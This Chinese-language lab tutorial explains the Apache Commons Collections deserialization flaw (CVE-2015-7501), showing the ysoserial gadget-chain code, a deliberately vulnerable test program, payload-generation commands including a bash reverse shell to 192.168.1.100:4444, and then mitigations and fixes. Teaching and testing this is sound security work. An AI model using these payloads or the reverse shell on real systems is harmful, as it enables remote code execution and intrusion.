ysoserial安全验证:Apache Commons Collections反序列化全过程
1. 安全背景与影响
你是否遇到过Java应用在毫无征兆的情况下执行了未知命令?是否在代码审计中对readObject()方法心存警惕?Apache Commons Collections反序列化安全问题(CVE-2015-7501)作为Java反序列化安全问题的"开山鼻祖",至今仍是安全领域的经典案例。本文将通过ysoserial工具完整验证该问题的处理过程,从原理剖析到实战操作,帮助你彻底掌握Java反序列化安全问题的本质。
读完本文你将获得:
- 理解Apache Commons Collections反序列化安全问题的完整攻击链
- 掌握使用ysoserial生成测试Payload的方法
- 学会搭建验证环境并验证命令执行结果
- 了解反序列化安全问题的防御机制与修复方案
2. 原理深度解析
2.1 Java反序列化基础
Java序列化(Serialization)是将对象转换为字节流的过程,而反序列化(Deserialization)则是将字节流恢复为对象的过程。当程序调用ObjectInputStream.readObject()方法时,如果对输入数据没有进行严格校验,就可能触发恶意构造的对象中的代码逻辑,导致远程代码执行(Remote Code Execution, RCE)。
// 危险的反序列化代码示例
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 未校验输入数据,存在安全风险
2.2 Commons Collections问题链分析
Apache Commons Collections库提供了丰富的集合类工具,其中LazyMap和Transformer接口的组合使用,为反序列化安全问题提供了可利用的"跳板"。ysoserial中的CommonsCollections1 payload利用了以下调用链:
关键代码解析:
// CommonsCollections1.java核心代码片段
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), // 获取Runtime类
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }), // 调用Runtime.getMethod("getRuntime")
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }), // 调用方法获取Runtime实例
new InvokerTransformer("exec", new Class[] {
String.class }, execArgs), // 执行命令
new ConstantTransformer(1)
};
2.3 触发条件
成功处理该问题需要满足以下条件:
- 目标应用使用了存在问题的Apache Commons Collections版本(≤3.2.1)
- 应用中存在不安全的反序列化操作(调用
readObject()且未校验输入) - 目标服务器可访问攻击者控制的恶意序列化数据
3. 环境搭建与准备
3.1 环境组件清单
| 组件 | 版本 | 作用 |
|---|---|---|
| JDK | 1.7.x | 运行环境(该问题在JDK 8u71+已修复部分利用链) |
| ysoserial | 最新版 | 生成反序列化Payload |
| Apache Commons Collections | 3.1 | 提供问题依赖库 |
| 测试程序 | 自定义 | 模拟存在反序列化问题的应用 |
3.2 项目获取与构建
# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/ys/ysoserial.git
cd ysoserial
# 构建项目(需先安装Maven)
mvn clean package -DskipTests
3.3 测试程序编写
创建一个简单的Java程序模拟存在反序列化问题的应用:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class TestApp {
public static void main(String[] args) throws Exception {
// 从文件读取并反序列化对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 危险操作:未校验输入数据
ois.close();
}
}
编译该程序时需引入Commons Collections依赖:
javac -cp .:commons-collections-3.1.jar TestApp.java
4. 验证完整步骤
4.1 生成测试Payload
使用ysoserial生成针对Commons Collections 3.1的测试Payload:
# 生成执行calc.exe的Payload(Windows系统)
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser
# 生成执行/bin/bash的Payload(Linux系统)
java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" > payload.ser
Payload文件分析: 生成的payload.ser是二进制文件,包含了恶意构造的序列化对象。可通过xxd命令查看其十六进制内容:
xxd payload.ser | head -10
# 输出示例:
# 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
# 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
# 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
4.2 触发问题与命令执行
将生成的payload.ser传输到目标服务器,执行测试程序:
# 运行存在问题的应用程序
java -cp .:commons-collections-3.1.jar TestApp
如果问题存在且处理成功,将看到计算器程序弹出(Windows)或在攻击者监听端口收到反向Shell(Linux)。
5. 防御与修复方案
5.1 临时缓解措施
在无法立即升级组件的情况下,可采取以下临时措施:
- 使用
SecurityManager限制反序列化过程中的类加载 - 对输入的序列化数据进行签名校验
- 配置
ObjectInputStream的resolveClass方法过滤危险类
// 安全的反序列化示例(白名单机制)
ObjectInputStream ois = new ObjectInputStream(inputStream) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 只允许反序列化指定的安全类
if (!desc.getName().equals("com.example.SafeClass")) {
throw new InvalidClassException("Unallowed class", desc.getName());
}
return super.resolveClass(desc);
}
};
5.2 根本修复方案
- 升级组件:将Apache Commons Collections升级至3.2.2或更高版本
- 使用序列化过滤库:如Apache Commons IO的
ValidatingObjectInputStream - 采用安全的序列化格式:如JSON、Protocol Buffers等替代Java原生序列化
- 代码审计:使用静态分析工具(如FindSecBugs)检测代码中的不安全反序列化
6. 总结与扩展思考
Apache Commons Collections反序列化安全问题虽然已发现多年,但类似的反序列化问题仍在不断出现。理解其原理不仅有助于防御已知问题,更能帮助我们识别新的安全风险。ysoserial作为一款强大的Payload生成工具,支持多种处理链,值得深入研究。
思考题:
- 为什么JDK版本会影响反序列化问题的利用?
- 如何通过网络流量检测Java反序列化攻击?
- 除了命令执行,反序列化问题还可能导致哪些危害?
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



